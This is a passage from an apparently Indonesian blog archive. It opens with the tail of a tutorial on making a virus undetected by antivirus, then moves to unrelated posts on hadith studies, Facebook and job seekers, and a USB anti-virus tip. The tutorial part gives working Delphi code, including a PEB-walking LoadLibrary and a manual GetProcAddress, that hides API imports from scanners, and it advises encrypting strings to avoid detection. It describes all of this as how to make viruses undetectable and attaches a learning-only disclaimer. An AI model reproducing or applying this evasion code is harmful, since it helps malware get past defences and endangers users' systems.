    Pada gambar 7 terlihat bahwa library yang diload kembali ke default ( pertama ) tapi saat kita melihat function yang diload kernel32.dll terdapat tambahan loadlibraryA dan getprocaddress nah bagaimana mengakalinya ??? untuk menghilangkan ini kita bisa menggunakan alternativ getloadlibrary dan alternativ getprocaddress function by steve10120 yang codenya seperti ini :

    Code:
    function xGetProcAddress(hFile:DWORD; szFunctionName:string):Pointer;
    var
      IDH:    TImageDosHeader;
      INH:    TImageNtHeaders;
      IED:    IMAGE_EXPORT_DIRECTORY;
      pNames:     Pointer;
      i:          WORD;
      pFuncAddr:  DWORD;
      x:          WORD;
    begin
      Result := nil;
      CopyMemory(@IDH, Ptr(hFile), 64);
      if IDH.e_magic = IMAGE_DOS_SIGNATURE then
      begin
        CopyMemory(@INH, Ptr(hFile + DWORD(IDH._lfanew)), 248);
        if INH.Signature = IMAGE_NT_SIGNATURE then
        begin
          CopyMemory(@IED, Ptr(hFile + INH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress), 40);
          if IED.NumberOfFunctions > 0 then
          begin
            pNames := Pointer(hFile + DWORD(IED.AddressOfNames));
            x := 0;
            for i := 0 to IED.NumberOfNames - 1 do
            begin
    
              if PChar(hFile + DWORD(pNames^)) = szFunctionName then
              begin
                CopyMemory(@pFuncAddr, Pointer(hFile + DWORD(IED.AddressOfFunctions) + x), 4);
                pFuncAddr := pFuncAddr + hFile;
                Result := Pointer(pFuncAddr);
              end;
    
              Inc(DWORD(pNames), 4);
              Inc(x, 4);
            end;
          end;
        end;
      end;
    end;
    
    function xLoadLibrary(lpLibFileName: PAnsiChar): HMODULE;
    var
      kernel32Addr: DWORD;
      pLoadLibrary: function(lpLibFileName: PAnsiChar): HMODULE; stdcall;
    begin
      asm
        push esi
        mov eax,fs:[30h]
        mov eax,[eax+0Ch]
        mov esi,[eax+1Ch]
        lodsd
        mov eax,[eax+08h]
        mov kernel32Addr,eax
        pop esi
      end;
      pLoadLibrary := xGetProcAddress(kernel32Addr, 'LoadLibraryA');
      Result := pLoadLibrary(lpLibFilename);
    end;
    adapun code kita sekarang menjadi seperti ini :

    Code:
    program Project1;
    uses
      windows;
    var
    xMessageBox :function (hWnd: HWND; lpText, lpCaption: PChar; uType: UINT): Integer; stdcall;
    xGetComputerName :function (lpBuffer: PChar; var nSize: DWORD): BOOL; stdcall;
    
    function xGetProcAddress(hFile:DWORD; szFunctionName:string):Pointer;
    var
      IDH:    TImageDosHeader;
      INH:    TImageNtHeaders;
      IED:    IMAGE_EXPORT_DIRECTORY;
      pNames:     Pointer;
      i:          WORD;
      pFuncAddr:  DWORD;
      x:          WORD;
    begin
      Result := nil;
      CopyMemory(@IDH, Ptr(hFile), 64);
      if IDH.e_magic = IMAGE_DOS_SIGNATURE then
      begin
        CopyMemory(@INH, Ptr(hFile + DWORD(IDH._lfanew)), 248);
        if INH.Signature = IMAGE_NT_SIGNATURE then
        begin
          CopyMemory(@IED, Ptr(hFile + INH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress), 40);
          if IED.NumberOfFunctions > 0 then
          begin
            pNames := Pointer(hFile + DWORD(IED.AddressOfNames));
            x := 0;
            for i := 0 to IED.NumberOfNames - 1 do
            begin
    
              if PChar(hFile + DWORD(pNames^)) = szFunctionName then
              begin
                CopyMemory(@pFuncAddr, Pointer(hFile + DWORD(IED.AddressOfFunctions) + x), 4);
                pFuncAddr := pFuncAddr + hFile;
                Result := Pointer(pFuncAddr);
              end;
    
              Inc(DWORD(pNames), 4);
              Inc(x, 4);
            end;
          end;
        end;
      end;
    end;
    
    function xLoadLibrary(lpLibFileName: PAnsiChar): HMODULE;
    var
      kernel32Addr: DWORD;
      pLoadLibrary: function(lpLibFileName: PAnsiChar): HMODULE; stdcall;
    begin
      asm
        push esi
        mov eax,fs:[30h]
        mov eax,[eax+0Ch]
        mov esi,[eax+1Ch]
        lodsd
        mov eax,[eax+08h]
        mov kernel32Addr,eax
        pop esi
      end;
      pLoadLibrary := xGetProcAddress(kernel32Addr, 'LoadLibraryA');
      Result := pLoadLibrary(lpLibFilename);
    end;
    
    function PC():String;
    var
    CompName: Array [0 .. 256] of char;
    size: DWORD;
    begin
      size := 256;
      xGetComputerName(Compname, size);
      Result := CompName;
    end;
    
    begin
      @xMessageBox := xGetProcAddress(xLoadLibrary('user32.dll'),'MessageBoxA');
      @xGetComputerName := xGetProcAddress(xLoadLibrary('kernel32.dll'),'GetComputerNameA');
      xMessageBox(0,pchar(pc),pchar('meong'),mb_ok);
    end.


    Terlihat iat yang diload kembali seperti default program yang tidak berisikan code . Oh iya tambahan untuk membuat code kita undetect juga anda bisa menambahkan encryption dan encrypt semua string ( saat program dijalankan decrypt kembali).

    Demikanlah penjelasan tentang bagaimana membuat virus undetected dari antivirus. Adapun untuk teknik lebih lanjut anda bisa menemukannya di website/forum yang membahas tentang virus.
  5. Protect Computer
    Pada bab ini saya akan memberikan beberapa tips bagaimana cara terhindar dari virus ( tentunya virus sejenis ini ). Adapun tips and tricknya sebagai berikut :

    1. Updatelah antivirus anda sesering mungkin.
    2. Gunakan / install program firewall yang akan memonitoring keluar masuknya data dikomputer anda.
    3. Usahakan semua program yang anda gunakan itu asli karena banyak orang yang membinding ( menggabungkan virus dengan program ).
    4. Sebelum menjalankan program yang anda download maka analisislah filenya terlebih dulu. Adapun untuk menganalisa program anda bisa melihat resource file, section file, dan juga sniffing lalu lintas data. Apabila anda melihat hal yang mencurigakan lansung didelete saja.
    5. Rajin – rajinlah membuka website yang membahas security untuk mengetahui teknik terbaru dari pembuat virus sehingga bisa mencegahnya virus itu menginfecsi komputer anda. Adapun website-websitenya anda bisa melihatnya dibagian credis anda thanks.
  6. Penutup
    Demikianlah tutorial dari saya. Adapun segalah kekurangan atau kesalahan pada tutorial ini mohon dimaapkan. Apabila ada yang kurang dimengerti dalam tutorial ini anda bisa lansung menanyakannya kepada saya dengan mengirimkan email ke alamat email saya yang tercantum dibagian about author. Terakhir saya kembali menegaskan tutorial ini hanya untuk pembelajaran saja tampa bermaksud untuk mengajarkan membuat virus dan merugikan orang banyak. Sekian dari saya dan terima kasih.
  7. Credit and thanks
    Terimah kasih kepada :
    - Aphex
    - steve10120
    - OMC
    - Johnyk
    - Apocalyps aka who-tr
    - Fuajar
    - Chaincoder
    - Canis Lupus
    - Nohn
    - BUNNN
    - S'to
    - Pirus
    - Aurel666
    - Cruzen

    Dan banyak lagi teman2 saya yang tidak mungkin saya sebutkan semua disini.

Rabu, 03 Februari 2010

ilmu hadist 1

Apa Itu Hadîts Qudsiy
Mukaddimah
Pada kajian ilmu hadits kali ini, sengaja kami ketengahkan masalah Hadîts Qudsiy yang tentunya sudah sering didengar atau dibaca tentangnya namun barangkali ada sebagian kita yang belum mengetahuinya secara jelas.

Untuk itu, kami akan membahas tentangnya secara ringkas namun terperinci insya Allah, semoga bermanfa'at.

Definisi

Secara bahasa (Etimologis), kata القدسي dinisbahkan kepada kata القدس (suci). Artinya, hadits yang dinisbahkan kepada Dzat yang Maha suci, yaitu Allah Ta'ala.
Dan secara istilah (terminologis) definisinya adalah
ما نقل إلينا عن النبي صلى الله عليه وسلم مع إسناده إياه إلى ربه عز وجل
Sesuatu (hadits) yang dinukil kepada kita dari Nabi Shallallâhu 'alaihi Wa Sallam yang disandarkan beliau kepada Rabb-nya.

Perbedaan Antara Hadîts Qudsiy Dan al-Qur`an

Terdapat perbedaan yang banyak sekali antara keduanya, diantaranya adalah:
  • Bahwa lafazh dan makna al-Qur`an berasal dari Allah Ta'ala sedangkan Hadîts Qudsiy tidak demikian, alias maknanya berasal dari Allah Ta'ala namun lafazhnya berasal dari Nabi Shallallâhu 'alaihi Wa Sallam.

  • Bahwa membaca al-Qur`an merupakan ibadah sedangkan Hadîts Qudsiy tidak demikian.

  • Syarat validitas al-Qur'an adalah at-Tawâtur (bersifat mutawatir) sedangkan Hadîts Qudsiy tidak demikian.
Jumlah Hadîts-Hadîts Qudsiy

Dibandingkan dengan jumlah hadits-hadits Nabi, maka Hadîts Qudsiy bisa dibilang tidak banyak. Jumlahnya lebih sedikit dari 200 hadits.

Contoh

Hadits yang diriwayatkan Imam Muslim di dalam kitab Shahîh-nya dari Abu Dzarr radliyallâhu 'anhu dari Nabi Shallallâhu 'alaihi Wa Sallam pada apa yang diriwayatkan beliau dari Allah Ta'ala bahwasanya Dia berfirman,
يَا عِبَادِي إِنِّي حَرَّمْتُ الظُّلْمَ عَلَى نَفْسِي وَجَعَلْتُهُ بَيْنَكُمْ مُحَرَّمًا فَلاَ تَظَالَمُوْا
"Wahai para hamba-Ku, sesungguhnya Aku telah mengharamkan perbuatan zhalim atas diri-Ku dan menjadikannya diantara kamu diharamkan, maka janganlah kamu saling menzhalimi (satu sama lain)." (HR.Muslim)

Lafazh-Lafazh Periwayatannya

Bagi orang yang meriwayatkan Hadîts Qudsiy, maka dia dapat menggunakan salah satu dari dua lafazh-lafazh periwayatannya:
1. قال رسول الله صلى الله عليه وسلم فيما يرويه عن ربه عز وجل
Rasulullah Shallallâhu 'alaihi Wa Sallam pada apa yang diriwayatkannya dari Rabb-nya 'Azza Wa Jalla
2. قال الله تعالى، فيما رواه عنه رسول الله صلى الله عليه وسلم
Allah Ta'ala berfirman, pada apa yang diriwayatkan Rasulullah Shallallâhu 'alaihi Wa Sallam dari-Nya

Buku Mengenai Hadîts Qudsiy

Diantara buku yang paling masyhur mengenai Hadîts Qudsiy adalah kitab
الاتحافات السنية بالأحاديث القدسية (al-Ithâfât as-Saniyyah Bi al-Ahâdîts al-Qudsiyyah) karya 'Abdur Ra`uf al-Munawiy. Di dalam buku ini terkoleksi 272 buah hadits.

(SUMBER: Buku Taysîr Musthalah al-Hadîts, karya DR.Mahmûd ath-Thahhân, h.127-128)

ilmu hadist 1

Apa Itu Hadîts Qudsiy
Mukaddimah
Pada kajian ilmu hadits kali ini, sengaja kami ketengahkan masalah Hadîts Qudsiy yang tentunya sudah sering didengar atau dibaca tentangnya namun barangkali ada sebagian kita yang belum mengetahuinya secara jelas.

Untuk itu, kami akan membahas tentangnya secara ringkas namun terperinci insya Allah, semoga bermanfa'at.

Definisi

Secara bahasa (Etimologis), kata القدسي dinisbahkan kepada kata القدس (suci). Artinya, hadits yang dinisbahkan kepada Dzat yang Maha suci, yaitu Allah Ta'ala.
Dan secara istilah (terminologis) definisinya adalah
ما نقل إلينا عن النبي صلى الله عليه وسلم مع إسناده إياه إلى ربه عز وجل
Sesuatu (hadits) yang dinukil kepada kita dari Nabi Shallallâhu 'alaihi Wa Sallam yang disandarkan beliau kepada Rabb-nya.

Perbedaan Antara Hadîts Qudsiy Dan al-Qur`an

Terdapat perbedaan yang banyak sekali antara keduanya, diantaranya adalah:
  • Bahwa lafazh dan makna al-Qur`an berasal dari Allah Ta'ala sedangkan Hadîts Qudsiy tidak demikian, alias maknanya berasal dari Allah Ta'ala namun lafazhnya berasal dari Nabi Shallallâhu 'alaihi Wa Sallam.

  • Bahwa membaca al-Qur`an merupakan ibadah sedangkan Hadîts Qudsiy tidak demikian.

  • Syarat validitas al-Qur'an adalah at-Tawâtur (bersifat mutawatir) sedangkan Hadîts Qudsiy tidak demikian.
Jumlah Hadîts-Hadîts Qudsiy

Dibandingkan dengan jumlah hadits-hadits Nabi, maka Hadîts Qudsiy bisa dibilang tidak banyak. Jumlahnya lebih sedikit dari 200 hadits.

Contoh

Hadits yang diriwayatkan Imam Muslim di dalam kitab Shahîh-nya dari Abu Dzarr radliyallâhu 'anhu dari Nabi Shallallâhu 'alaihi Wa Sallam pada apa yang diriwayatkan beliau dari Allah Ta'ala bahwasanya Dia berfirman,
يَا عِبَادِي إِنِّي حَرَّمْتُ الظُّلْمَ عَلَى نَفْسِي وَجَعَلْتُهُ بَيْنَكُمْ مُحَرَّمًا فَلاَ تَظَالَمُوْا
"Wahai para hamba-Ku, sesungguhnya Aku telah mengharamkan perbuatan zhalim atas diri-Ku dan menjadikannya diantara kamu diharamkan, maka janganlah kamu saling menzhalimi (satu sama lain)." (HR.Muslim)

Lafazh-Lafazh Periwayatannya

Bagi orang yang meriwayatkan Hadîts Qudsiy, maka dia dapat menggunakan salah satu dari dua lafazh-lafazh periwayatannya:
1. قال رسول الله صلى الله عليه وسلم فيما يرويه عن ربه عز وجل
Rasulullah Shallallâhu 'alaihi Wa Sallam pada apa yang diriwayatkannya dari Rabb-nya 'Azza Wa Jalla
2. قال الله تعالى، فيما رواه عنه رسول الله صلى الله عليه وسلم
Allah Ta'ala berfirman, pada apa yang diriwayatkan Rasulullah Shallallâhu 'alaihi Wa Sallam dari-Nya

Buku Mengenai Hadîts Qudsiy

Diantara buku yang paling masyhur mengenai Hadîts Qudsiy adalah kitab
الاتحافات السنية بالأحاديث القدسية (al-Ithâfât as-Saniyyah Bi al-Ahâdîts al-Qudsiyyah) karya 'Abdur Ra`uf al-Munawiy. Di dalam buku ini terkoleksi 272 buah hadits.

(SUMBER: Buku Taysîr Musthalah al-Hadîts, karya DR.Mahmûd ath-Thahhân, h.127-128)

ilmu hadist

Apa Itu Hadits Hasan ?
Mukaddimah

Yang dimaksud dalam kajian ini adalah bagian ke-dua dari klasifikasi berita yang diterima, yaitu Hasan Li Dzâtihi (Hasan secara independen).
Barangkali sebagian kita sudah pernah membaca atau mendengar tentang istilah ini, namun belum mengetahui secara persis apa yang dimaksud dengannya, siapa yang pertama kali mempopulerkannya, buku apa saja yang banyak memuat bahasan tentangnya?
Itulah yang akan kita coba untuk mengulasnya secara ringkas tapi padat, insya Allah.

Definisi

a. Secara bahasa (etimologi)
Kata Hasan (حسن) merupakan Shifah Musyabbahah dari kata al-Husn (اْلحُسْنُ) yang bermakna al-Jamâl (الجمال): kecantikan, keindahan.

b. Secara Istilah (teriminologi)
Sedangkan secara istilah, terdapat perbedaan pendapat di kalangan para ulama hadits mengingat pretensinya berada di tengah-tengah antara Shahîh dan Dla’îf. Juga, dikarenakan sebagian mereka ada yang hanya mendefinisikan salah satu dari dua bagiannya saja.

Berikut beberapa definisi para ulama hadits dan definisi terpilih:

1. Definisi al-Khaththâby : yaitu, “setiap hadits yang diketahui jalur keluarnya, dikenal para periwayatnya, ia merupakan rotasi kebanyakan hadits dan dipakai oleh kebanyakan para ulama dan mayoritas ulama fiqih.” (Ma’âlim as-Sunan:I/11)

2. Definisi at-Turmudzy : yaitu, “setiap hadits yang diriwayatkan, pada sanadnya tidak ada periwayat yang tertuduh sebagai pendusta, hadits tersebut tidak Syâdzdz (janggal/bertentangan dengan riwayat yang kuat) dan diriwayatkan lebih dari satu jalur seperti itu. Ia-lah yang menurut kami dinamakan dengan Hadîts Hasan.” (Jâmi’ at-Turmudzy beserta Syarah-nya, [Tuhfah al-Ahwadzy], kitab al-‘Ilal di akhirnya: X/519)

3. Definisi Ibn Hajar: yaitu, “Khabar al-Ahâd yang diriwayatkan oleh seorang yang ‘adil, memiliki daya ingat (hafalan), sanadnya bersambung, tidak terdapat ‘illat dan tidak Syâdzdz, maka inilah yang dinamakan Shahîh Li Dzâtih (Shahih secara independen). Jika, daya ingat (hafalan)-nya kurang , maka ia disebut Hasan Li Dzâtih (Hasan secara independen).” (an-Nukhbah dan Syarahnya: 29)

Syaikh Dr.Mahmûd ath-Thahhân mengomentari, “Menurut saya, Seakan Hadits Hasan menurut Ibn Hajar adalah hadits Shahîh yang kurang pada daya ingat/hafalan periwayatnya. Alias kurang (mantap) daya ingat/hafalannya. Ini adalah definisi yang paling baik untuk Hasan. Sedangkan definisi al-Khaththâby banyak sekali kritikan terhadapnya, sementara yang didefinisikan at-Turmudzy hanyalah definisi salah satu dari dua bagian dari hadits Hasan, yaitu Hasan Li Ghairih (Hasan karena adanya riwayat lain yang mendukungnya). Sepatutnya beliau mendefinisikan Hasan Li Dzâtih sebab Hasan Li Ghairih pada dasarnya adalah hadits lemah (Dla’îf) yang meningkat kepada posisi Hasan karena tertolong oleh banyaknya jalur-jalur periwayatannya.”

Definisi Terpilih

Definisi ini berdasarkan apa yang disampaikan oleh Ibn Hajar dalam definisinya di atas, yaitu:
“Hadits yang bersambung sanadnya, diriwayatkan oleh periwayat yang ‘adil, yang kurang daya ingat (hafalannya), dari periwayat semisalnya hingga ke jalur terakhirnya (mata rantai terakhir), tidak terdapat kejanggalan (Syudzûdz) ataupun ‘Illat di dalamnya.”

Hukumnya

Di dalam berargumentasi dengannya, hukumnya sama dengan hadits Shahîh sekalipun dari sisi kekuatannya, ia berada di bawah hadits Shahih. Oleh karena itulah, semua ahli fiqih menjadikannya sebagai hujjah dan mengamalkannya. Demikian juga, mayoritas ulama hadits dan Ushul menjadikannya sebagai hujjah kecuali pendapat yang aneh dari ulama-ulama yang dikenal keras (al-Mutasyaddidûn). Sementara ulama yang dikenal lebih longgar (al-Mutasâhilûn) malah mencantumkannya ke dalam jenis hadits Shahîh seperti al-Hâkim, Ibn Hibbân dan Ibn Khuzaimah namun disertai pendapat mereka bahwa ia di bawah kualitas Shahih yang sebelumnya dijelaskan.” (Tadrîb ar-Râwy:I/160)

Contohnya

Hadits yang dikeluarkan oleh at-Turmudzy, dia berkata, “Qutaibah menceritakan kepada kami, dia berkata, Ja’far bin Sulaiman adl-Dluba’iy menceritakan kepada kami, dari Abu ‘Imrân al-Jawny, dari Abu Bakar bin Abu Musa al-Asy’ariy, dia berkata, “Aku telah mendengar ayahku saat berada di dekat musuh berkata, ‘Rasulullah SAW., bersabda, “Sesungguhnya pintu-pintu surga itu berada di bawah naungan pedang-pedang…” (Sunan at-Turmudzy, bab keutamaan jihad:V/300)

Hadits ini adalah Hasan karena empat orang periwayat dalam sanadnya tersebut adalah orang-orang yang dapat dipercaya (Tsiqât) kecuali Ja’far bin Sulaiman adl-Dlub’iy yang merupakan periwayat hadits Hasan –sebagaimana yang dinukil oleh Ibn Hajar di dalam kitab Tahdzîb at-Tahdzîb-. Oleh karena itu, derajat/kualitasnya turun dari Shahîh ke Hasan.

Tingkatan-Tingakatannya

Sebagaimana hadits Shahih yang memiliki beberapa tingkatan yang karenanya satu hadits shahih bisa berbeda dengan yang lainnya, maka demikian pula halnya dengan hadits Hasan yang memiliki beberapa tingkatan.

Dalam hal ini, ad-Dzahaby menjadikannya dua tingkatan:
Pertama, (yang merupakan tingkatan tertinggi), yaitu: riwayat dari Bahz bin Hakîm dari ayahnya, dari kakeknya; riwayat ‘Amr bin Syu’aib dari ayahnya, dari kakeknya; Ibn Ishaq dari at-Tîmiy. Dan semisal itu dari hadits yang dikatakan sebagai hadits Shahih padahal di bawah tingkatan hadits Shahih.

Ke-dua, hadits lain yang diperselisihkan ke-Hasan-an dan ke-Dla’îf-annya, seperti hadits al-Hârits bin ‘Abdullah, ‘Ashim bin Dlumrah dan Hajjâj bin Artha’ah, dan semisal mereka.

Tingkatan Ucapan Ulama Hadits, “Hadits yang
shahîh sanadnya” atau “Hasan sanadnya”


1. Ucapan para ulama hadits, “Ini adalah hadits yang shahih sanadnya” adalah di bawah kualitas ucapan mereka, “Ini adalah hadits Shahih.”

2. Demikian juga ucapan mereka, “Ini adalah hadits yang Hasan sanadnya” adalah di bawah kualitas ucapan mereka, “Ini adalah hadits Hasan” karena bisa jadi ia Shahih atau Hasan sanadnya tanpa matan (redaksi/teks)nya akibat adanya Syudzûdz atau ‘Illat.

Seorang ahli hadits bila berkata, “Ini adalah hadits Shahih,” maka berarti dia telah memberikan jaminan kepada kita bahwa ke-lima syarat keshahihan telah terpenuhi pada hadits ini. Sedangkan bila dia mengatakan, “Ini adalah hadits yang shahih sanadnya,” maka artinya dia telah memberi jaminan kepada kita akan terpenuhinya tiga syarat keshahihan, yaitu: sanad bersambung, keadilan si periwayat dan kekuatan daya ingat/hafalan (Dlabth)-nya, sedangkan ketiadaan Syudzûdz atau ‘Illat pada hadits itu, dia tidak bisa menjaminnya karena belum mengecek kedua hal ini lebih lanjut.

Akan tetapi, bila seorang Hâfizh (penghafal banyak hadits) yang dipegang ucapannya hanya sebatas mengatakan, “Ini adalah hadits yang shahih sanadnya,” tanpa menyebutkan ‘illat (penyakit/alasan yang mencederai bobot suatu hadits); maka pendapat yang nampak (secara lahiriah) adalah matannya juga Shahîh sebab asal ucapannya adalah bahwa tidak ada ‘Illat di situ dan juga tidak ada Syudzûdz.

Makna Ucapan at-Turmudzy Dan Ulama
Selainnya, “Hadits Hasan Shahîh”


Secara implisit, bahwa ungkapan seperti ini agak membingungkan sebab hadits Hasan kurang derajatnya dari hadits Shahîh, jadi bagaimana bisa digabung antara keduanya padahal derajatnya berbeda?. Untuk menjawab pertanyaan ini, para ulama memberikan jawaban yang beraneka ragam atas maksud dari ucapan at-Turmudzy tersebut. Jawaban yang paling bagus adalah yang dikemukakan oleh Ibn Hajar dan disetujui oleh as-Suyûthy, ringkasannya adalah:

1. Jika suatu hadits itu memiliki dua sanad (jalur transmisi/mata rantai periwayatan) atau lebih; maka maknanya adalah “Ia adalah Hasan bila ditinjau dari sisi satu sanad dan Shahîh bila ditinjau dari sisi sanad yang lain.”

2. Bila ia hanya memiliki satu sanad saja, maka maknanya adalah “Hasan menurut sekelompok ulama dan Shahîh menurut sekelompok ulama yang lain.”

Seakan Ibn Hajar ingin menyiratkan kepada adanya perbedaan persepsi di kalangan para ulama mengenai hukum terhadap hadits seperti ini atau belum adanya hukum yang dapat dikuatkan dari salah satu dari ke-duanya.

Pengklasifikasian Hadits-Hadits Yang Dilakukan Oleh
Imam al-Baghawy Dalam Kitab “Mashâbîh as-Sunnah”


Di dalam kitabnya, “Mashâbîh as-Sunnah” imam al-Baghawy menyisipkan istilah khusus, yaitu mengisyaratkan kepada hadits-hadits shahih yang terdapat di dalam kitab ash-Shahîhain atau salah satunya dengan ungkapan, “Shahîh” dan kepada hadits-hadits yang terdapat di dalam ke-empat kitab Sunan (Sunan an-Nasâ`iy, Sunan Abi Dâ`ûd, Sunan at-Turmdzy dan Sunan Ibn Mâjah) dengan ungkapan, “Hasan”. Dan ini merupakan isitlah yang tidak selaras dengan istilah umum yang digunakan oleh ulama hadits sebab di dalam kitab-kitab Sunan itu juga terdapat hadits Shahîh, Hasan, Dla’îf dan Munkar.

Oleh karena itulah, Ibn ash-Shalâh dan an-Nawawy mengingatkan akan hal itu. Dari itu, semestinya seorang pembaca kitab ini ( “Mashâbîh as-Sunnah” ) mengetahui benar istilah khusus yang dipakai oleh Imam al-Baghawy di dalam kitabnya tersebut ketika mengomentari hadits-hadits dengan ucapan, “Shahih” atau “Hasan.”

Kitab-Kitab Yang Di Dalamnya
Dapat Ditemukan Hadits Hasan


Para ulama belum ada yang mengarang kitab-kitab secara terpisah (tersendiri) yang memuat hadits Hasan saja sebagaimana yang mereka lakukan terhadap hadits Shahîh di dalam kitab-kitab terpisah (tersendiri), akan tetapi ada beberapa kitab yang di dalamnya banyak ditemukan hadits Hasan. Di antaranya yang paling masyhur adalah:

1. Kitab Jâmi’ at-Turmudzy atau yang lebih dikenal dengan Sunan at-Turmudzy. Buku inilah yang merupakan induk di dalam mengenal hadits Hasan sebab at-Turmudzy-lah orang pertama yang memasyhurkan istilah ini di dalam bukunya dan orang yang paling banyak menyinggungnya.
Namun yang perlu diberikan catatan, bahwa terdapat banyak naskah untuk bukunya tersebut yang memuat ungkapan beliau, “Hasan Shahîh”, sehingga karenanya, seorang penuntut ilmu harus memperhatikan hal ini dengan memilih naskah yang telah ditahqiq (dianalisis) dan telah dikonfirmasikan dengan naskah-naskah asli (manuscript) yang dapat dipercaya.

2. Kitab Sunan Abi Dâ`ûd. Pengarang buku ini, Abu Dâ`ûd menyebutkan hal ini di dalam risalah (surat)-nya kepada penduduk Mekkah bahwa dirinya menyinggung hadits Shahih dan yang sepertinya atau mirip dengannya di dalamnya. Bila terdapat kelemahan yang amat sangat, beliau menjelaskannya sedangkan yang tidak dikomentarinya, maka ia hadits yang layak. Maka berdasarkan hal itu, bila kita mendapatkan satu hadits di dalamnya yang tidak beliau jelaskan kelemahannya dan tidak ada seorang ulama terpecayapun yang menilainya Shahih, maka ia Hasan menurut Abu Dâ`ûd.

3. Kitab Sunan ad-Dâruquthny. Beliau telah banyak sekali menyatakannya secara tertulis di dalam kitabnya ini.

(SUMBER: Kitab Taysîr Musthalah al-Hadîts karya Dr. Mahmûd ath-Thahhân, h. 45-50)

Selasa, 02 Februari 2010

Hati-hati dengan facebook anda! Soalnya Banyak Pelamar Kerja Ditolak Gara2 Facebook!

Hati-hati dengan facebook anda! Soalnya Banyak Pelamar Kerja Ditolak Gara2 Facebook!

Mem-posting sesuatu di Facebook memang tak boleh sembarangan, khususnya bagi para pencari kerja. Sebuah survei mengungkapkan, hampir separuh perusahaan telah menolak calon pekerja yang sebenarnya potensial cuma gara-gara Facebook sang pelamar.

Satu dari 10 pelamar kerja ternyata ditolak karena ketahuan telah mem-posting sesuatu tentang minum-minuman keras dan obat-obatan terlarang. Kemudian, 13% karena membuat komentar rasis, dan 9% lainnya ditinjau ulang karena kedapatan menempatkan foto cabul di halaman situs jejaring sosial tersebut.

Perusahaan-perusahaan itu mulai mengecek jeroan Facebook sang pelamar untuk membandingkannya dengan resume curriculum vitae (CV) yang dikirimkan. Bahkan, seperti dikutip detikINET dari Telegraph, Rabu (13/1/2010), empat dari perusahaan telah membuang lamaran yang masuk setelah melihat Facebook sang pelamar.

Gambaran tentang dampak Facebook ini didapat dari hasil survei Career Builder terhadap 450 karyawan perusahaan. Farhan Yasin, presiden Career Builder mengatakan, situs seperti Facebook bisa menjadi bom waktu.

"Banyak yang memakai situs jejaring untuk menguak hal "kotor" di dunia maya. Maka, bersihkan konten "kotor"-mu sebelum mencari pekerjaan. Hapus semua konten foto dan link yang bisa menjadi batu sandungan dalam mencari pekerjaan," imbau Yasin soal hasil survei tersebut.

Salah satu perusahaan bernama Big Brother mengakui kesalahan terbesar yang dibuat oleh pencari kerja ialah tak bisa menjaga perilakunya di Facebook. Meski telah memoles sebaik-baiknya CV mereka, namun percuma saja kalau masih memiliki catatan online yang kurang baik dan bisa dilihat semua orang.

TIPS] buat flashdisk jd anti dgn virus.

intinya adalah mencegah flashdisk kita agar tidak dapat ditongkrongi oleh virus2 penggangu yg suka nongkrong di flashdisk. caranya mirip dgn membuat folder autorun.inf di flashdisk agar file autorun.inf virus tidak bisa masuk ke flashdisk.

contoh:
kl ada file virus "boot.exe" di flashdisk kita, kita tinggal delete aja file itu trus buat folder dgn nama "boot.exe". dijamin virus "boot.exe" ga akan bisa mampir ke flashdisk anda lg. trus buat folder "con" di dalem folder "boot.exe" biar foldernya ga bisa di delete.

sama jg kl ada virus yg ngebuat folder di flashdisk, cara cegahinnya yaitu dgn buat file yg di beri nama folder virusnya.

contoh:
misal ada virus yg buat folder "recycle" di dalem flashdisk, kita tinggal buat file trus kasih nama "recycle", beres deh!

semoga tips ini bisa membantu.

note: cara ini tidak selalu ampuh, karna banyak virus yg menggunakan nama yg random (acak)

Senin, 01 Februari 2010

putus perkara 3

Hadits ke-21
Dari Umar Ibnu al-Khaththab bahwa ia dalam khutbah pernah berkata: Sesungguhnya orang-orang pada zaman Rasulullah Shallallaahu 'alaihi wa Sallam diputuskan hukumannya melalui wahyu, dan wahyu itu telah terputus, maka kami sekarang memutuskan hukuman padamu berdasarkan perbuatanmu yang tampak pada kami. Riwayat Bukhari.
Hadits ke-22
Dari Abu Bakrah Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam menggolongkan persaksian palsu termasuk di antara dosa-dosa yang paling besar. Muttafaq Alaihi dalam hadits yang panjang.
Hadits ke-23
Dari Ibnu Abbas Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam pernah bertanya kepada seseorang: "Apakah engkau melihat matahari?". Ia menjawab: Ya. Beliau bersabda: "Dalam masalah seperti ini, bersaksilah atau tinggalkan." Riwayat Ibnu 'Ady dengan sanad lemah. Hadits shahih menurut Hakim, namun ia keliru.
Hadits ke-24
Dari Ibnu Abbas Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam memutuskan suatu perkara dengan sumpah dan seorang saksi. Riwayat Muslim, Abu Dawud dan Nasa'i. Ia berkata: Sanad hadits itu baik.
Hadits ke-25
Ada hadits serupa dari Abu Hurairah Radliyallaahu 'anhu yang diriwayatkan oleh Abu Dawud dan Tirmidzi dan dinilai shahih oleh Ibnu Hibban.
Hadits ke-26
Dari Ibnu Abbas Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam bersabda: "Seandainya orang-orang selalu diberi (dikabulkan) dengan dakwaan mereka, niscaya orang-orang akan menuntut darah dan harta orang lain, namun bagi yang didakwa berhak bersumpah." Muttafaq Alaihi.
Hadits ke-27
Menurut riwayat Baihaqi dengan sanad shahih: "Bukti diwajibkan atas pendakwa dan sumpah diwajibkan atas orang yang ingkar."
Hadits ke-28
Dari Abu Hurairah Radliyallaahu 'anhu bahwa Nabi Shallallaahu 'alaihi wa Sallam pernah menawarkan sumpah kepada suatu kaum dan mereka segera menerimanya. Maka beliau memerintahkan agar diadakan undian untuk pengangkatan sumpah, siapakah di antara mereka yang akan bersumpah. Riwayat Bukhari.
Hadits ke-29
Dari Abu Umamah al-Haritsi Radliyallaahu 'anhu bahwa Rasulullah Shallallaahu 'alaihi wa Sallam bersabda: "Barangsiapa mengambil hak milik seorang muslim dengan sumpahnya, maka Allah mengharuskan dirinya masuk neraka dan mengharamkan baginya surga." Ada seseorang bertanya: Walaupun sedikit, wahai Rasulullah?. Beliau menjawab: "Walaupun sepotong dahan pohon arak." Riwayat Muslim.
Hadits ke-30
